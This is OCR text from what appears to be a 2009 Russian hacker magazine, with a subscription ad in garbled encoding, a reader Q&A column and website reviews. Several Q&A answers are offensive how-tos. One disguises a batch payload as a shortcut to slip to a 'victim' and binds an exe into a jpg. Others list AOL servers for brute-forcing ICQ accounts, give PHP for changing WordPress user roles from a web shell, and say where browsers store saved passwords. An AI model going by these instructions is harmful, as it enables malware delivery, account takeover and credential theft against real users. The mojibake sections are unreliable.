цент от интеллектуальной элиты 
интернетов в реале представляет 
собой довольно малоопытную и 
невротичную категорию граждан. 
Из Холмогор в Москву с лаптями 
за плечом они не ходили, самогон 
с соседом по деревне не квасили 
и в пьяных оргиях под воздейс-

твием девятой «Балтики» с двумя 
пшиками дихлофоса не участвова-
ли. Несмотря на свою очевидную 
продвинутость в сфере информа-
ционных технологий и, в целом, 
нигилистически-критический 
взгляд на вещи, эти парни часто 
подсознательно завидуют людям, 
продвинутым в сфере, назы-
ваемой также реальной жизнью. 
Данный факт открывает широкую 
дорогу подобным великовоз-
растным манипуляторам. Про 
методы борьбы, пожалуй, говорить 
не буду — ты не такой, а лично-
стям заинтересованным можно 
посоветовать одно — поднимать 
самооценку, выходить в люди, 
придерживаться своей точки 
зрения и никому не завидовать. 
Адиос!  z
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Внеклассное чтение. Серия «Политический 
бестселлер» намекает, что твой мозг может серьезно 
пострадать в процессе чтения этой книги. Тем не 
менее, сочинение в тему, и не представить его 
твоему вниманию мы не можем

Хитрый психопат Нильс, 
наоборот, сделал ставку 
на высокие магические 
технологии и тем самым 
поимел целую тучу крыс
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В РЕЗУЛЬТАТЕ, ШИРОКОМУ СЛУШАТЕЛЮ МАГ
ВИРНАК БУДЕТ ИЗВЕСТЕН НЕ КАК ИЗОБРЕТАТЕЛЬ 
ЭЛИКСИРА ДЕЗИНТЕГРАЦИИ, ОБЕСПЕЧИВШЕГО 
КОРОЛЕВСТВУ ПОБЕДУ В ПОСЛЕДНЕЙ ВОЙНЕ С 
ОРКАМИ, А ИСКЛЮЧИТЕЛЬНО СВОИМ АМОРАЛЬНО-
АСОЦИАЛЬНЫМ (ЯКОБЫ?) ОБРАЗОМ ЖИЗНИ.



Реклама



Ãîäîâàÿ ïîäïèñêà ïî öåíå

ÏÎÄÏÈÑÊÀ Â ÐÅÄÀÊÖÈÈ

(на 23 % дешевле чем при покупке в розницу)

ÏÐÈ ÏÎÄÏÈÑÊÅ ÍÀ ÊÎÌÏËÅÊÒ ÆÓÐÍÀËÎÂ  
ÆÅËÅÇÎ +  ÕÀÊÅÐ +  DVD: 
- ÎÄÈÍ ÍÎÌÅÐ ÂÑÅÃÎ ÇÀ 155 ÐÓÁËÅÉ 
(ÍÀ 35% ÄÅØÅÂËÅ, ×ÅÌ Â ÐÎÇÍÈÖÓ)

ÇÀ 12 ÍÎÌÅÐÎÂ
ÂÍÈÌÀÍÈÅ! 
ÂÒÎÐÎÅ 
ÑÏÅÖÏÐÅÄËÎÆÅÍÈÅ! 

ÇÀ 24 ÍÎÌÅÐÀ

ÅÄÈÍÀß ÖÅÍÀ ÏÎ ÂÑÅÉ ÐÎÑÑÈÈ. ÄÎÑÒÀÂÊÀ ÇÀ Ñ×ÅÒ ÈÇÄÀÒÅËß, Â ÒÎÌ ×ÈÑËÅ ÊÓÐÜÅÐÎÌ ÏÎ  ÌÎÑÊÂÅ Â ÏÐÅÄÅËÀÕ ÌÊÀÄ

2100 ðóá. 

3720 ðóá   2100 ðóá   

ÎÔÎÐÌÈÂ ÃÎÄÎÂÓÞ ÏÎÄÏÈÑÊÓ Â ÐÅÄÀÊÖÈÈ, 

ÂÛ ÌÎÆÅÒÅ ÁÅÑÏËÀÒÍÎ ÏÎËÓ×ÈÒÜ ÎÄÈÍ 

ÑÂÅÆÈÉ ÍÎÌÅÐ ËÞÁÎÃÎ ÆÓÐÍÀËÀ, 

ÈÇÄÀÂÀÅÌÎÃÎ ÊÎÌÏÀÍÈÅÉ «ÃÅÉÌ ËÝÍÄ»:

•  ЯНВАРСКИЙ НОМЕР — подписавшись 
    до 30 ноября
•  ФЕВРАЛЬСКИЙ НОМЕР — подписавшись 
    до 31 декабря   
•  МАРТОВСКИЙ НОМЕР — подписавшись 
    до 31 января

ВПИШИТЕ В КУПОН НАЗВАНИЕ 
ВЫБРАННОГО ВАМИ ЖУРНАЛА, 
ЧТОБЫ ЗАКАЗАТЬ ПОДАРОЧНЫЙ 
НОМЕР

Total DVD+DVD

Ski Pass

DVDXpertSmoke

«Страна Игр»
+2DVD

«РС Игры»+2DVD Digital Photo

«Форсаж.ТА»

«Железо»+DVD

«Мобильные 
компьютеры»

«T3.Техника 
Третьего Тысячелетия»

«Тюнинг 
Автомобилей»

Mountin Bike ONBOARD Total Football+DVD «Хулиган»

«Вышиваю 
крестиком»

«Фото-
мастерская»+CD

ÏËÞÑ ÏÎÄÀÐÎÊ
ÎÄÈÍ ÆÓÐÍÀË
ÄÐÓÃÎÉ 
ÒÅÌÀÒÈÊÈ



ÏÎ ÂÑÅÌ ÂÎÏÐÎÑÀÌ, связанным с подпиской, звоните по 
бесплатным телефонам 8(495)780-88-29 (для москви-
чей) и 8(800)200-3-999 (для жителей других регионов 
России, абонентов сетей МТС, БиЛайн и Мегафон). 
ÂÀØÈ ÂÎÏÐÎÑÛ, ÇÀÌÅ×ÀÍÈß È/ÈËÈ 
ÏÐÅÄËÎÆÅÍÈß ÏÎ ÏÎÄÏÈÑÊÅ ÍÀ ÆÓÐÍÀË ÏÐÎÑÈÌ
ÏÐÈÑÛËÀÒÜ ÍÀ ÀÄÐÅÑ: info@glc.ru

ÎÔÎÐÌÈÒÜ ÏÎÄÏÈÑÊÓ на Хакер стало еще 
проще! 
C июля 2009 года это можно сделать 
в любом из 72 000 платежных терминалах 
QIWI (КИВИ) по всей России. 

прошу выслать бесплатный 
номер журнала

 ÂÛÃÎÄÀ • ÃÀÐÀÍÒÈß • ÑÅÐÂÈÑ 
ÊÀÊ ÎÔÎÐÌÈÒÜ ÇÀÊÀÇ 
1.  Разборчиво заполните подписной купон и квитан-
цию, вырезав их из журнала, сделав ксерокопию 
или распечатав с сайта www.glc.ru. 

2. Оплатите подписку через любой банк.
3.  Вышлите в редакцию копию подписных докумен-
тов — купона и квитанции — любым из нижепере-
численных способов: 

 ïî ýëåêòðîííîé ïî÷òå subscribe@glc.ru;
 ïî ôàêñó 8 (495) 780-88-24;
 ïî àäðåñó 119021, Ìîñêâà, 

óë. Òèìóðà Ôðóíçå, ä. 11, ñòð. 44, 
ÎÎÎ «Ãåéì Ëýíä», îòäåë ïîäïèñêè.

ÂÍÈÌÀÍÈÅ! 
ÏÎÄÏÈCÊÀ ÎÔÎÐÌËßÅÒÑß Â
ÄÅÍÜ ÎÁÐÀÁÎÒÊÈ ÊÓÏÎÍÀ È ÊÂÈÒÀÍÖÈÈ
Ñ ÍÎÌÅÐÀ, ÂÛÕÎÄßÙÅÃÎ ×ÅÐÅÇ ÎÄÈÍ
ÊÀËÅÍÄÀÐÍÛÉ ÌÅÑßÖ ÏÎÑËÅ ÎÏËÀÒÛ.
Например, если произвести оплату в ноябре,
то подписку можно оформить с января.

Â ÊÀÆÄÎÌ ÍÎÌÅÐÅ ÓÍÈÊÀËÜÍÛÉ DVD
ÑÒÎÈÌÎÑÒÜ ÇÀÊÀÇÀ
2100Ð ÇÀ 12 ÌÅÑßÖÅÂ + ÏÎÄÀÐÎ×ÍÛÉ ÆÓÐÍÀË
1200Ð. ÍÀ 6 ÌÅÑßÖÅÂ. ÏÎÄÀÐÎ×ÍÛÉ ÆÓÐÍÀË ÏÐÈ ÝÒÎÌ ÍÅ ÂÛÑÛ-
ËÀÅÒÑß
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Q: Слышал, что Гугл вводит новую систему поиска 

— Google Caffeine. Как проще всего сравнить 

выдачу этой новой системы и старого поиска?

A: Действительно, уже не за горами ввод Google 
Caffeine в качестве основного движка Боль-
шого Брата (тестовый вариант новой системы 
пока доступен по адресу www2.sandbox.google.
com), что подразумевает следующие преиму-
щества: удвоение скорости поиска, улучшенная 
точность, ввод системы временной релевант-
ности, увеличение базы проиндексированных 
страниц и многие другие фишки. В связи с этим 
для вебмастеров крайне актуальной становится 
задача сравнения результатов поиска в старом 
и новом движках Гугла. Одна из наиболее удоб-
ных утилит для решения данного вопроса нахо-
дится по адресу www.facesaerch.com/caffeine. 
Здесь все просто: вбиваешь какой-нибудь за-
прос в соответствующее окошко и наблюдаешь 
результаты выдачи обоих поисковых движков 
по одному и тому же кейворду (слева — старый 
движок, справа — Caffeine).
Также могу посоветовать сервис analyzethis.
ru, который анализирует сразу целую кучу по-
исковых машин (в том числе и новый Caffeine) 
по таким параметрам, как: навигационный 
поиск, тематический поиск, подсказки, опе-

чатки, цитатный поиск, оригиналы, синонимы, 
поисковый спам, SEO-прессинг, порнография, 
полнота индекса, апдейты, переходы.

Q: Занимаюсь SEO, а в частности, клоакингом. За-

интересовал следующий момент: как с помощью 

строки с юзерагентом определить capabilities 

(возможности) браузера?

A: Специально для тебя в PHP существует 
функция, позволяющая определить список 
возможностей любого браузера:

mixed get_browser ([ string $user_

agent [, bool $return_array = false 

]] )

Функция возвращает массив с данными:

Array

(

    [browser_name_regex] => 

^mozilla/5\.0 (windows; .; 

windows nt 5\.1; .*rv:.*) gecko/.* 

firefox/0\.9.*$

    [browser_name_pattern] => 

Mozilla/5.0 (Windows; ?; Windows NT 

5.1; *rv:*) Gecko/* Firefox/0.9*

    [parent] => Firefox 0.9

    [platform] => WinXP

    [browser] => Firefox

    [version] => 0.9

    [majorver] => 0

    [minorver] => 9

    [cssversion] => 2

    [frames] => 1

    [iframes] => 1

    [tables] => 1

    [cookies] => 1

    [vbscript] =>

    [javascript] => 1

    [javaapplets] => 1

    [beta] => 1

)

Для использования функции тебе необходимо 
скачать библиотеку browscap.ini (browsers.
garykeith.com/downloads.asp) и прописать к 
ней путь в файле настроек php.ini. Подробнее 
можно почитать на ru.php.net/get_browser. 
Если хостер не разрешает редактирование на-
строек PHP, ты с легкостью можешь воспользо-
ваться альтернативой — PHP-классом Browser 
Capabilities PHP Project (code.google.com/p/
phpbrowscap). По сравнению со стандартной 
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функцией в проекте присутствуют следующие 
возможности:
• автономность и независимость от настроек 
PHP;
• более быстрый и точный анализ юзерагентов; 
• автоматический детект юзерагента;
• может возвращать не только массив, но и 
объект;
• кэширование результатов;
• автоматическое обновление файла browscap.
ini с проверкой его версии;
• полностью настраиваемый;
• PHP4 и PHP5 совместимый.
Также существует еще одна альтернативная 
версия данной функции — alexandre.alapetite.
fr/doc-alex/php-local-browscap/index.en.html.

Q: Как можно определить, используется ли клоа-

кинг на каком-либо сайте?

A: Если технология клоакинга создана грамот-
ным человеком, то определить, используется 
ли он, очень сложно. Но все же существует 
несколько общих методов и советов:
1. Попробуй сервис www.linkvendor.com/seo-
tools/cloaking-detector.html, который пытается 
эмулировать заходы живого пользователя и 
поискового бота на таргетном сайте;
2. Измени юзерагента, например, с помощью 
плагина для Файрфокса chrispederick.com/
work/user-agent-switcher или специального 
веб-сервиса www.bad-neighborhood.com/
header_detector.php (подходит только для при-
митивного клоакинга);
3. Попробуй изменить реферера на тот, что 
будет похож на реальный переход с поиско-
вика (либо сам найди эту страницу в поиско-
вике по какому-нибудь настоящему запросу и 
перейди на нее);
4. Измени язык в браузере/операционной 
системе;
5. Зайди на нужную страницу с помощью 
переводчика Гугла: http://translate.google.com.
В любом случае помни одну простую истину: 
клоакинг нужен лишь для отсеивания ботов от 
живых посетителей, пришедших с поискови-
ков.

Q: Слышал о каком-то «волшебном» SSL-серти-

фикате, который подходит абсолютно для всех 

сайтов и позволяет избегать предупреждений о 

корректности сертификата в браузерах.

A: Действительно, во всех основных браузе-
рах до выхода соответствующих патчей было 
возможно обмануть механизм проверки 
SSL-сертификатов с помощью техники, 
продемонстрированной Джекобом Аппел-
баумом (Jacob Appelbaum), которая, в свою 
очередь, основана на методе Мокси Мар-
линспайка (Moxie Marlinspike). На недавней 
конференции Black Hat Мокси Марлинспайк 
сумел обмануть описываемые механизмы 
с помощью ввода нулевого символа (\0) в 
поле имени (CN, Common Name) домена. Но 
этот трюк оказался не последним :). Джекоб 
Аппелбаум сумел создать универсальный 
сертификат для произвольных имен домена 
с помощью маски «*». В итоге, «волшебный 
сертификат» стал выглядеть следующим 
образом:

CN= *\x00thoughtcrime.noisebridge.

net

OU = Moxie Marlinspike Fan Club

O = Noisebridge

L = San Francisco

ST = California

C = US

Чтобы узнать более полную информацию о саб-
же, советую посетить официальный сайт автора 
уязвимости appelbaum.net.

Q: Необходимо подсунуть жертве батник с 

зависимыми от него exe, dll и т.д. файлами. Как 

красивее замаскировать все это дело?

A: Как раз для твоего сабжа пользователь 
Античата pavlik74 придумал замечательный 
способ. Итак:
1. Кидай все файлы в одну папку и делай ее 
скрытой;
2. Создай нескрытый ярлык для батника;
3. В поле «Объект» пиши «%windir%\system32\
cmd.exe /c ТВОЙ_БАТНИК.bat», в поле 
«Рабочая папка» — «%currentdir%» (все, 
естественно, без кавычек);
4. Теперь для пущей привлекательности 
неплохо было бы сменить иконку нашему 
ярлыку. Для этого жми «Сменить значок» и 
вводи в поиск «%SystemRoot%\system32\
SHELL32.dll» и выбирай понравившийся;
5. Для сокрытия появляющейся командной 
строки в начале батника пропиши следующую 
строчку: «cmdow @ /HID»;
6. Подсовывай объект жертве :).
Также существует способ, с помощью которого 
можно склеивать/прятать файлы средствами 
самой винды:

copy /b file.exe + foto.jpg foto2.

jpg

В итоге ты получишь два файла: один с расши-
рением lnk (ярлык), другой — с расширением 
jpg, но запускающийся как exe.

Q: Занимаясь брутом асек, я столкнулся с 

проблемой недоступности серверов АОЛа для 

логина после n-попыток брута/в какое-то время 

суток/другая причина. Где бы взять еще адресов 

аолвских авторизационных серверов?

A: Большинство ныне используемых ICQ-брут-
форсеров поддерживают возможность смены 
сервера для залогинивания. Один из наиболее 
полных списков серверов я привожу ниже:

login.oscar.aol.com

ibucp-vip-d.blue.aol.com

ibucp-vip-m.blue.aol.com

ibucp2-vip-m.blue.aol.com

bucp-m08.blue.aol.com

icq.mirabilis.com

icq0.mirabilis.com

icq1.mirabilis.com

icq2.mirabilis.com

icq3.mirabilis.com

icq4.mirabilis.com

icq5.mirabilis.com

64.12.161.153

64.12.161.185

64.12.200.89

205.188.153.97

205.188.153.98

205.188.153.121

205.188.179.233

205.188.252.24

205.188.252.27

205.188.252.21

205.188.254.5

205.188.252.33

205.188.252.22

205.188.252.31

205.188.254.3

205.188.254.11

205.188.252.30

205.188.252.18

205.188.254.10

205.188.254.1

205.188.252.19

205.188.252.28

Q: Как прочекать на PR не только сам сайт, но и 

все его внутренние страницы?

A: В этом нелегком деле тебе поможет бес-
платная утила PaRaMeter (www.cleverstat.
com/parameter.exe), созданная для массовой 
проверки и отслеживания изменений Google 
PageRank. Для использования проги просто 
добавь все сайты для чека PR в список в глав-
ном окне, используя соответствующее поле 
ввода. В качестве бонуса в утилите присутству-
ют поддержка проксиков и экспорт результатов 
в CSV.

Q: Как в WordPress прямо из шелла можно ме-

нять права пользователей?

A: Очень просто! Для этого в eval-окошке своего 
шелла используй следующий код:

include './wp-config.php';

$my_user=get_userdatabylogin('ÒÂÎÉ_

ÞÇÅÐ');

$user = new WP_User($my_user->ID);

$user->set_role('ÐÎËÜ'); //

subscriber, contributor, author, 

editor, administrator 

$new_role=$user->roles;

print $new_role[0].' is a new user 

role';

Код позволит легко сменить текущие права 
любого пользователя на выбранные тобой в 
любой версии WordPress.

Q: Где лежат сохраненные пароли наиболее 

распространенных браузеров?

A: В качестве ответа на вопрос приведу неболь-
шой список мест хранения паролей соответс-
твующих браузеров:
1. Internet Explorer 4.00 — 6.00. 
Пароли хранятся в реестре в специальном хра-
нилище «Protected Storage», которое обычно 
прячется по адресу «HKEY_CURRENT_USER\
Software\Microsoft\Protected Storage System 
Provider».
2. Internet Explorer 7.00 — 8.00. 
Новые версии Ослика хранят пароли сразу 
в двух локациях: «HKEY_CURRENT_USER\
Software\Microsoft\Internet Explorer\
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IntelliForms\Storage2» в реестре для хране-
ния автозаполняемых паролей и «Documents 
and Settings\Application Data\Microsoft\
Credentials» для HTTP Authentication паролей 
(также в этом файле хранятся пароли от LAN);
3. Firefox.
Пароли хранятся в одном из следующих 
файлов: signons.txt, signons2.txt и signons3.txt 
(зависит от версии Огнелиса). Все эти файлы 
хранятся в папке профиля Firefox, к примеру, 
в «[Windows Profile]\Application Data\Mozilla\
Firefox\Profiles\[Profile Name]»;
4. Google Chrome.
Все пароли хранятся в «[Windows Profile]\Local 
Settings\Application Data\Google\Chrome\User 
Data\Default\Web Data» (это файл в формате 
SQLite, содержащий в себе криптованные 
пароли и другую информацию);
5. Opera.
Пароли находятся в файлике wand.dat, который 
хранится в «[Windows Profile]\Application Data\
Opera\Opera\profile».

Q: Можно ли каким-нибудь образом уменьшить 

шум от HDD, кроме как устанавливать его на 

специальных демпфирующих салазках?

A: Да, для большинства HDD можно програм-
мными способами влиять на уровень шума. 
Это возможно за счет функции AAM (Automatic 
Acoustic Management), регулирующей режим 
работы жесткого диска и позволяющей балан-
сировать между максимальной производи-
тельностью и предельной тишиной. Варьируя 
значение параметра, ты меняешь время поиска 
дорожки — чем медленнее осуществляется 
поиск, тем меньше шума издает жесткий диск 
(и тем тормознутее работает).
Одни производители устанавливают это зна-
чение в максимальное положение, вытягивая 
предельную производительность. Другие, 
напротив, занижают его, стараясь получить 
максимально тихий жесткий диск (такие моде-
ли обычно есть у любого производителя). Чтобы 
самому изменить параметр AAM, существует 
достаточно много утилит: MHDD (www.ihdd.
ru/mhdd), Hitachi Feature Tool (www.hitachigst.
com/hdd/support/download.htm), HDTune Pro 
(www.hdtune.com) и другие. Значение AAM, как 
правило, варьируется от 0 до 255, в редких слу-
чаях от 128 до 255. Позиция «ноль» соответст-
вует максимальной тишине, но наименьшей 
производительности, «255» — соответственно, 
наоборот. Впрочем, не надо думать, что при 
AAM=0 винт будет еле-еле двигаться: впол-
не обычная работа, ты, возможно, даже не 
почувствуешь увеличившееся время доступа к 
данным. А вот тишину — заметишь.

Q: Нужно посмотреть нагрузку на процессор и 

инет-канал одного из открытых  в браузере сай-

тов (выполнен на Flash'е и постоянно передает 

данные). Как это сделать?

A: Проще всего открыть сайт в Chrome'е (www.
google.com/chrome). Браузер от Google в целях 
повышения стабильности создает для каждой 
открытой вкладки новый процесс и предоставля-
ет пользователю своеобразный таск-менеджер 
(Меню  Разработчикам  Диспетчер задач). 

Для каждой вкладки мониторится использование 
трафика, а также загрузка процессора.

Q: Скачал образ диска, а он в формате DMG. Ни 

одна программа его не понимает. Что это такое и 

как преобразовать в нормальный ISO-файл?

A: Стоит задуматься, насколько нужен тебе этот 
файл. Под расширением *.DMG скрываются 
файлы-образы для операционной системы 
MacOS X (Apple Disk Image). В общем-то, 
под макосью с ними проблем не возникнет, 
и преобразовать их в *.ISO ты сможешь хоть 
стандартными средствами:

hdiutil convert /path/to/filename.

dmg -format UDTO -o /path/to/

savefile.iso

Сложнее под никсами и виндой. Вариантов тут 
несколько. Если взять открытую тулзу dmg2img 
(vu1tur.eu.org/tools), то можно преобразовать 
*.DMG в *.IMG, который уже, в свою очередь, 
перевести в *.ISO. Помимо этого, есть утилита 
DMGExtractor (hem.bredband.net/catacombae/
dmgx.html), написанная на Java. Работать с DMG-
образами потихоньку начинает и ряд других утилит: 
UltraISO (www.ezbsystems.com/ultraiso), 7-zip 
(www.7-zip.org), а тулза MacDrive (www.mediafour.
com/products/macdrive) вообще позволяет 
примонтировать DMG-образ в качестве диска в 
виндовой системе.

Q: Сел тут верстать HTML-страничку и при всей 

простоте обнаружил, что она не проходит ни одну 

проверку валидатором. Все в принципе работает, 

как надо, но хочется реализовать полностью 

корректно. Я правильно понимаю, что некото-

рые теги и атрибуты HTML теперь использовать 

нежелательно?

A: Целый ряд тегов действительно давно 
считаются вчерашним днем, и хотя браузе-
ры по-прежнему корректно (а иногда и нет) 
их обрабатывают, использовать их крайне 
нежелательно. Например, тег <applet>, который 
раньше использовался для вставки апплетов 
на Java, успешно заменяется актуальным тегом 
<object>. Функционал целого ряда тегов теперь 
легко реализуется за счет CSS, в том числе: 
<basefont>, <em>, <font>, <strike>, <u>. Теги 
<listing>, <menu>, <xmp> также можно реализо-
вать через CSS-стили, а можно заменить <pre>, 
<ul>, <pre>. Вместо <dir> стоит использовать 
<ul>, а вместо <plaintext> — <pre>. Более того, 
не стоит забывать об устаревших атрибутах для 
тегов, которые нужно реализовывать через 
CSS:
• align
• alink
• background
• bgcolor
• color
• hspace
• link
• size
• text
• type
• vlink
• vspace

Подробнее можно прочитать на сайте w3c-
консорциума: www.w3.org/TR/html401/index/
attributes.html, www.w3.org/TR/html401/
appendix/changes.html#h-A.3.1.2.

Q: Нашел прошивку для своего БИОСа с аббре-

виатурой «SLIC». Прочитал, что это какая-то 

специальная отметка производителя в БИОСе, 

но непонятно, что она дает?

A: Чаще всего с такой аббревиатурой выкла-
дывают БИОСы, с помощью которых выполня-
ется активация Vista, а теперь и Windows7 без 
каких-либо кряков. Немного истории. С момента 
появления Windows XP Microsoft ужесточила 
меры по активации корпоративных версий своих 
продуктов, которые защищались недостаточно 
сильно. Обычная пользовательская версия Vista 
для активации требует от пользователя ввода 
ключа, а затем проверяет его через интернет 
или по телефону. Большие OEM-производители, 
такие как Dell, IBM, Asus и другие нуждаются 
в эффективном способе массовой активации 
системы, чтобы покупателям не приходилось 
чересчур хлопотать со своей версией Windows. 
В конце концов компанией была разработана 
система System-Locked Pre-installation (SLP) 2.0, 
пришедшая на смену более ранней и простой 
SLP 1.0 (использовалась для защиты OEM-
версий Windows XP и Windows 2003).  SLP 1.0 и 
2.0 используют специальные области в БИОСе 
компьютера, чтобы хранить там набор идентифи-
кационных данных. В SLP 1.0 используется просто 
название OEM и набор файлов на жестком диске, 
проверяющих перечисленные данные OEM, что 
прошиты в БИОС. В SLP 2.0 механизм гораздо 
сложнее. Один из фрагментов, необходимых для 
активации данных, включает в себя так называе-
мые таблицы ACPI_SLIC, которые Vista проверяет 
в момент активации. Но одной только таблицы 
недостаточно. Оставшаяся часть SLP 2.0 включает 
в себя специальный OEM-ключ и файл с OEM-
сертификатом — вместе с данными из ACPI_SLIC 
выполняется активация. Найти ключ и сертифи-
кат для хакеров оказалось не проб лемой, а вот с 
ACPI_SLIC пришлось попыхтеть. Одна хакерская 
группа выпустила тулзу, которая загружалась с 
системой и вставляла нужные данные в таблицу 
ACPI_SLIC прямо во время работы Vista. Однако в 
Microsoft быстро научились находить и выгружать 
из памяти такие утилиты. Чтобы обойти новые 
защитные механизмы, хакеры стали загружать 
таблицу ACPI_SLIC не во время, а до запуска сис-
темы — в этом случае Vista не могла определить 
спуфинг данных в БИОСе и отлично работала. 
Такой тип программ называется лоадерами, и этот 
принцип лежит в основе практически всех кряков 
и активаторов для Vista. А поскольку принцип ак-
тивации с использованием данных из ACPI_SLIC 
практически не изменился в Windows 7/Windows 
Server 2008R2, то и в активаторах для новеньких 
систем — тоже остался прежним. Помимо ис-
пользования лоадеров, нужные данные в таблицу 
ACPI_SLIC умельцы научились заносить в сам 
БИОС! Инструкции по модификации повсемес-
тно распространены в инете, а для популярных 
ноутбуков и моделей материнских плат даже рас-
пространяются модифицированные прошивки 
БИОСов, как раз с аббревиатурой SLIC. z
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Один из самых простых способов отследить, куда уходит твое время, — 
воспользоваться онлайн-сервисом toggl. Принцип прост: взявшись за 
новое дело, скажи об этом программе. Она запишет время начала, время 
конца и прибавит дельту к соответствующему пункту в твоем списке дел. 
В результате получится шикарная статистика, дающая немало поводов 
задуматься о своей производительности :). Фишка toggl’а в специальных 
приложениях для любой ОС. Благодаря им, включить трекинг можно 
одним кликом мыши через трей, а открывать браузер понадобится только 
для просмотра подробной статистики.

TOGGL
www.toggl.com

GIVEAWAY 
OF THE DAY
giveawayoftheday.com
Всегда приятно для хорошей коммерческой программы найти 
бесплатную альтернативу. Но согласись: еще приятнее получить 
подарок в виде ключика для полюбившегося продукта. Если не засчи-
тывать подгоны с варезных порталов, то есть место, где серийник можно 
получить совершенно легально — на сайте Giveaway of the day. Каждый 
день выбирается программа, с разработчиками которой подписывается 
соглашение, после чего она становится доступной для закачки в течение 
24-х часов. Не демка, не ограниченный триал, а лицензионная заре-
гистрированная версия, которую ты можешь использовать совершенно 
бесплатно. Угощайся.

BETA LOGMEIN
beta.logmein.com
Этот сервис для доступа к удаленному рабочему столу уже был в нашем 
обзоре. Ничего удивительного: это чуть ли не единственное решение, 
позволяющее поковыряться на чужом десткопе прямо из окна браузера. 
Но если раньше использовались Java, ActiveX и специальные плагины, 
то в новом, пока еще тестовом интерфейсе управление осуществля-
ется исключительно через Flash! Больше никаких плагинов, никаких 
ограничений — LogMeIn работает в любом браузере. И вот еще: в платной 
Pro-версии сервиса реализован вход на рабочий стол вообще без преры-
вания работы пользователей.

БИТВЫ КОДЕРОВ
www.trollim.com

RPD через браузер

Бесплатная лицензия 
на платный софт

Соревнования 
для программистов

Мониторинг своего времени

UNITS

HTTP://WWW2

Помнится, когда-то давно я сильно удивлялся популярности онлайн-
тетриса, в котором куча людей один на один соревновались: кто быстрее 
сложит линии из падающих фигурок. Тогда-то я и подумал: лучше бы баги 
на скорость фиксили. И вот оно — проект www.trollim.com. После того, 
как обозначишь свои кодерские навыки (C++, C#, Perl, PHP и другие по 
шкале от 1 до 5) и подтвердишь их прохождением теста — ты готов к битве. 
Соревнование заключается в том, чтобы быстрее найти и исправить баги 
в коде, причем сделать это наиболее эффективно. Сервис — постоянно в 
развитии, поэтому пополняется все новыми и новыми заданиями.
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